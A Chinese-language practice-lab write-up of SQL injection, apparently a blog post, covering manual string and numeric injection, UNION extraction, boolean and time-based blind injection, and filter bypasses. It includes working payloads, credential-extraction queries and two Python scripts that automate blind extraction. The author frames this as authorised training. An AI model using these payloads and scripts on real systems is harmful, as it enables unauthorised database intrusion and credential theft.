☰
SQL注入实战:从手工注入到盲注绕过的完整记录
2026/10/16 4:30:01 网站建设 项目流程

1. 从第一关的挫败说起:为什么SQL注入值得单独开一篇记录

做安全练习平台的人大概都有这种体会:第一关往往是最顺的,因为出题人通常会把最典型的漏洞摆在最显眼的位置,你只要按图索骥就能通关。但到了第二关,情况就变了——题目开始藏东西了,参数不再明晃晃地摆在URL里,回显也不再那么友好。我这次在练习平台上专门刷SQL注入这一组关卡,前后花了大概三个晚上,踩了不少坑,也总结出一些和教科书上不太一样的经验。

SQL注入这个词,做Web安全的人耳朵都听出茧子了。但真正在练习环境里一关一关打下来,你会发现它远不止“加个单引号看报错”这么简单。这一组关卡的设计思路很清晰:从最基础的字符串拼接注入,到数字型注入,再到需要绕过简单过滤的盲注场景,每一关都在逼你理解一个核心问题——用户输入到底是怎么变成数据库能执行的语句的。你只有把这条链路想通了,才知道在哪个环节可以动手脚。

这篇记录适合两类人看:一类是刚接触Web安全、想通过练习平台打基础的新手,另一类是做过一些CTF但SQL注入部分总是靠工具一把梭、想回头补原理的人。我会把每一关的解题思路、我实际尝试过的payload、以及那些“看起来能行但实际不行”的弯路都写出来。工具方面我主要用浏览器加手工注入,偶尔配合命令行下的HTTP请求工具,不依赖任何自动化注入框架——因为这一组关卡的设计意图就是让你手工理解注入点。

需要提前说明的是,练习平台的环境是隔离的,所有操作都在合法授权的靶场里进行。真实业务系统中做任何测试都必须获得明确授权,这一点没有商量余地。

2. 第一类关卡:字符串型注入的完整手工链路

2.1 从单引号报错到判断注入类型

这一关的入口是一个简单的查询页面,URL里带一个name参数。我第一反应是加个单引号试试:

?name=test'

页面直接返回了数据库报错信息,大意是“引号不匹配”。这个报错本身就是第一个关键信号——它说明用户输入被直接拼进了SQL语句的字符串字面量里,而且错误信息没有被屏蔽。很多新手到这里就急着上UNION SELECT,但更稳妥的做法是先判断注入类型。

我接着试了:

?name=test' AND '1'='1 ?name=test' AND '1'='2

第一个返回正常结果,第二个返回空。这就确认了是字符串型注入,而且可以用布尔条件来控制回显。这里有个细节值得说:为什么用AND '1'='1而不是AND 1=1?因为在字符串上下文里,1=1会被数据库当成字符串比较,有些数据库会隐式转换,有些不会,而'1'='1'是明确的字符串比较,行为更可预测。

判断出类型之后,下一步是确定列数。我用的是ORDER BY递增法:

?name=test' ORDER BY 1-- ?name=test' ORDER BY 2-- ?name=test' ORDER BY 3--

到第4列时报错,说明查询结果有3列。这里注意注释符的使用——MySQL里--后面必须跟一个空格,否则注释不生效。我一开始就是漏了空格,卡了好几分钟才反应过来。

2.2 UNION SELECT的列对齐与回显位定位

知道列数之后,构造联合查询:

?name=test' UNION SELECT 1,2,3--

页面返回了三个数字,但位置和我想的不一样。原来原始查询的列顺序和页面展示顺序不是一一对应的,我需要通过回显位置反推哪一列对应页面上的哪个区域。这一步很关键,因为后面取数据时要把真正想显示的字段放在有回显的列上。

我实际测试发现,第2列和第3列会在页面上显示出来,第1列不显示。于是把payload改成:

?name=test' UNION SELECT 1,database(),user()--

拿到了当前数据库名和数据库用户。到这里,第一类关卡的核心链路就通了:报错判断类型 → ORDER BY确定列数 → UNION SELECT定位回显 → 提取信息。

2.3 踩过的坑:注释符、空格过滤与编码问题

这一关我踩的坑主要集中在三个地方。第一个是注释符,前面说了,--的空格不能省,另外#在URL里必须编码成%23,否则会被当成锚点截断。第二个是空格过滤——有一关的输入框对空格做了处理,我一开始用/**/替代空格,但发现UNION/**/SELECT在某些位置不生效,后来改用+号(URL编码的空格)才通过。第三个是编码问题,当我想用CONCAT拼接多个字段时,逗号在某些过滤规则下会被拦,这时候可以用JOIN或者CASE WHEN来绕过。

提示:手工注入时,每改一次payload都要观察页面返回的差异。报错信息、返回行数、页面长度、响应时间,这四个维度是最可靠的判断依据。

3. 数字型注入与盲注:当页面不再给你报错信息

3.1 数字型注入的判断逻辑差异

第二类关卡把参数换成了数字型,URL长这样:

? id=1

我先试了?id=1',页面没有报错,只是返回空。这说明单引号被处理了,或者参数本身是数字型不需要引号闭合。接着试:

?id=1 AND 1=1 ?id=1 AND 1=2

第一个正常返回,第二个返回空。确认是数字型注入,不需要引号闭合。数字型注入的好处是省去了处理引号的麻烦,但坏处是有些过滤规则会专门针对数字参数做限制,比如只允许纯数字输入。

我试了?id=1 UNION SELECT 1,2,3--,发现页面结构变了,回显位需要重新定位。这里有个经验:每换一个关卡,哪怕注入类型相同,也要重新确认列数和回显位,因为后端查询语句的列数和前端展示逻辑可能完全不同。

3.2 盲注场景下的布尔判断与时间延迟

到了第三关,页面彻底不返回数据库内容了,只返回“存在”或“不存在”两种状态。这就是典型的布尔盲注。这种情况下,你没法直接看到数据,只能通过构造真/假条件,根据页面返回的状态来逐位推断信息。

我的做法是先确认布尔盲注可行:

?id=1 AND SUBSTRING(database(),1,1)='a' ?id=1 AND SUBSTRING(database(),1,1)='b'

通过不断替换字符,可以逐位猜出数据库名的每一个字符。这个过程手工做非常耗时,我写了一个简单的脚本来自动化:

import requests url = "http://练习平台地址/query" chars = "abcdefghijklmnopqrstuvwxyz0123456789_" result = "" for pos in range(1, 20): for ch in chars: payload = f"?id=1 AND SUBSTRING(database(),{pos},1)='{ch}'" r = requests.get(url + payload) if "存在" in r.text: result += ch print(f"当前位置 {pos} 猜出字符: {ch}") break else: break print("数据库名:", result)

这个脚本的逻辑很直白:对每一个位置,遍历所有可能的字符,如果页面返回“存在”,就说明猜对了。实际跑的时候要注意请求频率,太快可能会被练习平台的防护机制拦截,我一般会在每次请求之间加0.1秒的延迟。

如果布尔盲注也被限制了,还有时间盲注这条路。原理是构造一个条件,当条件为真时让数据库延迟响应:

?id=1 AND IF(SUBSTRING(database(),1,1)='a',SLEEP(3),0)

如果页面响应时间明显变长,说明条件为真。时间盲注的缺点是效率极低,而且受网络波动影响大,我一般只在布尔盲注完全不可用时才用。

3.3 盲注效率优化:二分查找与ASCII码比较

逐字符遍历的效率是O(n*m),n是字符集大小,m是字符串长度。如果字符集是36个字符,猜一个8位的数据库名需要最多288次请求。用二分查找可以把每次字符的猜测次数降到log2(36)≈6次,整体效率提升明显。

具体做法是比较ASCII码:

?id=1 AND ASCII(SUBSTRING(database(),1,1)) > 100 ?id=1 AND ASCII(SUBSTRING(database(),1,1)) > 115

通过不断缩小范围,6到7次请求就能确定一个字符。我实测下来,猜一个8位数据库名从原来的200多次请求降到了50次左右,节省了大量时间。

注意:时间盲注中SLEEP的秒数不要设得太短,否则网络抖动会导致误判;也不要设得太长,否则整个注入过程会慢到无法忍受。我一般用2到3秒作为基准。

4. 过滤绕过:当常规payload被拦截时怎么办

4.1 常见过滤规则与对应的绕过思路

练习平台的后几关开始加入过滤了。我遇到的过滤规则包括:过滤空格、过滤UNION关键字、过滤逗号、过滤注释符。每遇到一种,都需要换一套写法。

过滤空格时,可以用/**/、+、%09(Tab)、%0a(换行)来替代。我实测下来,/**/在大多数位置都能用,但在UNION/**/SELECT这种关键字之间,有些数据库解析器会把它当成注释而不是分隔符,这时候用%0a更稳。

过滤UNION时,可以用大小写混写UnIoN,或者用UNION ALL、UNION DISTINCT来变形。如果UNION被完全拦死,还可以考虑用INTO OUTFILE写文件(需要文件权限),或者用PROCEDURE ANALYSE(老版本MySQL的特性)。

过滤逗号时,SUBSTRING函数可以用FROM...FOR语法替代:

SUBSTRING(database() FROM 1 FOR 1)

LIMIT的逗号可以用OFFSET替代:

LIMIT 1 OFFSET 1

过滤注释符时,如果--和#都被拦,可以尝试用;%00(空字节截断),或者利用查询语句本身的闭合方式,比如把后面的内容用AND '1'='1补全,让整个语句语法正确。

4.2 大小写混写与内联注释的实战效果

我专门测试了几种绕过方式在实际关卡中的效果:

过滤规则绕过方式实测结果
过滤空格/**/替代大部分位置有效,关键字之间偶尔失效
过滤空格%0a替代稳定有效,推荐优先使用
过滤UNION大小写混写有效,但需要确认数据库是否区分大小写
过滤UNION内联注释/*!UNION*/MySQL有效,其他数据库不一定支持
过滤逗号FROM...FORSUBSTRING场景有效
过滤注释符;%00部分场景有效,取决于后端语言

内联注释/*!UNION*/这个技巧值得单独说:MySQL会把/*!...*/里的内容当作SQL代码执行,而不是注释。所以/*!UNION*/和UNION是等价的,但很多简单的过滤规则只匹配纯文本的UNION,不会匹配带注释的版本。不过这个特性是MySQL特有的,换成其他数据库就不灵了。

4.3 一个真实踩坑:编码不一致导致的绕过失败

有一次我构造了一个自认为完美的payload,在本地测试通过,但提交到练习平台就是不行。排查了半天,发现是URL编码的问题。我在本地用+表示空格,但练习平台的输入框会自动把+编码成%2B,导致实际发送的是加号而不是空格。后来我改成直接发送%20,问题解决。

这个坑的教训是:永远不要假设输入框会原样传递你的输入。浏览器、前端框架、后端框架、WAF,每一层都可能对输入做处理。手工注入时,最好用浏览器的开发者工具或者命令行工具直接构造原始HTTP请求,避免多层编码带来的干扰。

5. 从注入到数据提取:完整的信息收集流程

5.1 数据库元信息获取的优先级

确认注入点之后,我一般按这个顺序收集信息:

  1. 当前数据库名:database()
  2. 数据库用户:user()、current_user()
  3. 数据库版本:version()、@@version
  4. 所有数据库名:SELECT schema_name FROM information_schema.schemata
  5. 当前数据库的表名:SELECT table_name FROM information_schema.tables WHERE table_schema=database()
  6. 目标表的列名:SELECT column_name FROM information_schema.columns WHERE table_name='目标表'
  7. 具体数据:SELECT 列名 FROM 目标表

这个顺序的逻辑是:先确认自己在哪、有什么权限,再逐步缩小范围到具体数据。很多新手一上来就想直接查用户表,结果连当前数据库名都不知道,构造的查询全是错的。

5.2 information_schema的实战用法与限制

information_schema是MySQL自带的元数据库,里面记录了所有数据库、表、列的信息。用它来查表名和列名非常方便,但有几个限制需要注意:

第一,information_schema里的表名和列名在某些版本里是大小写敏感的,查询时最好用LOWER()或UPPER()统一大小写。第二,如果数据库用户权限不够,可能看不到其他数据库的信息,只能看到当前数据库。第三,有些练习平台会过滤information_schema这个关键词,这时候可以用/*!information_schema*/或者大小写混写来绕过。

我实际用的查询语句是这样的:

SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1 SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 0,1

LIMIT 0,1用来逐行读取,避免一次返回太多数据导致页面显示不全。

5.3 数据提取阶段的编码与拼接技巧

当需要提取多个字段时,可以用CONCAT或CONCAT_WS拼接:

SELECT CONCAT(username, ':', password) FROM users LIMIT 0,1

如果逗号被过滤,可以用CONCAT_WS的替代写法,或者用JOIN:

SELECT username FROM users JOIN (SELECT password FROM users) AS t

如果CONCAT被过滤,可以用||(在某些数据库里是字符串拼接符)或者+(SQL Server里是字符串拼接)。我遇到过一个关卡把CONCAT和||都过滤了,最后用HEX()把数据转成十六进制再拼接,成功绕过。

提示:提取数据时,如果页面有长度限制,可以用SUBSTRING分段读取。比如先读前50个字符,再读50到100个字符,以此类推。

6. 工具与手工的边界:什么时候该上脚本

6.1 手工注入的适用场景与局限

手工注入的最大价值是理解原理。当你亲手构造每一个payload,观察每一次页面的变化,你对注入的理解会深入到肌肉记忆里。但手工注入的效率很低,尤其是在盲注场景下,逐字符猜测可能需要几百次请求。

我的做法是:前两关纯手工,把原理吃透;后面的关卡用脚本自动化,但脚本的逻辑必须自己写。用现成的注入工具当然更快,但那样你就跳过了“为什么这样构造”的思考过程,遇到变种题目时容易卡壳。

6.2 自写脚本的核心模块与调试方法

我写的盲注脚本核心就三个模块:请求发送、条件判断、字符遍历。请求发送用requests库,条件判断根据页面返回的关键词或响应时间,字符遍历用二分查找优化。

调试脚本时,我一般先手动验证几个payload,确认脚本的判断逻辑和手工一致,再让脚本跑完整流程。如果脚本跑出来的结果和手工不一致,优先检查编码问题和请求头——有些平台会检查User-Agent或Referer,缺失这些头会导致请求被拦截。

import requests import time def check_condition(payload): url = f"http://练习平台地址/query?id={payload}" headers = {"User-Agent": "Mozilla/5.0"} r = requests.get(url, headers=headers) return "存在" in r.text def binary_search_char(pos): low, high = 32, 126 while low < high: mid = (low + high) // 2 payload = f"1 AND ASCII(SUBSTRING(database(),{pos},1))>{mid}" if check_condition(payload): low = mid + 1 else: high = mid return chr(low) result = "" for i in range(1, 20): ch = binary_search_char(i) if ch == " ": break result += ch print(f"已猜出: {result}") print("最终结果:", result)

这个脚本比前面的遍历版本快很多,核心就是二分查找。实际跑的时候,我一般会在check_condition里加一个重试机制,因为网络请求偶尔会失败,单次失败不应该影响整体判断。

6.3 脚本跑通之后的验证与复盘

脚本跑出结果之后,一定要手工验证一遍。我一般会挑几个关键字符,用浏览器手工构造payload确认,确保脚本的结果不是误判。验证通过后,我会把这一关的payload、绕过方式、踩坑记录整理成笔记,方便以后遇到类似场景时快速查阅。

复盘的时候,我会问自己三个问题:这一关的核心考点是什么?我用了哪些技巧?如果过滤规则再严格一点,我还能怎么绕?这三个问题能帮我把一次练习的价值最大化。

7. 这一组关卡给我的几点实在体会

刷完这一组SQL注入关卡,我最大的感受是:注入的本质是“让数据库执行你想要的语句”,而不是“记住某个payload”。每一关的过滤规则不同、回显方式不同、数据库类型可能也不同,但只要你理解了用户输入是怎么变成SQL语句的,你就能根据具体环境构造出有效的payload。

另一个体会是关于工具的使用。自动化工具能帮你节省时间,但不能替代理解。我见过不少人用工具扫出注入点之后,连注入类型都说不清楚,遇到需要手工构造的场景就束手无策。手工注入练习虽然慢,但它是建立直觉的唯一途径。

最后说一个细节:练习平台的关卡设计通常是有梯度的,前一关的技巧往往是后一关的基础。如果你在某一关卡住了,不妨回头看看前一关的payload,很多时候答案就藏在之前的思路里。我在做盲注关卡时卡了很久,后来发现是布尔判断的关键词选错了——页面返回的不是“存在”,而是“成功”,换了个关键词之后脚本立刻就通了。这种细节在真实环境中同样常见,多观察、多尝试,比死记硬背payload有用得多。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询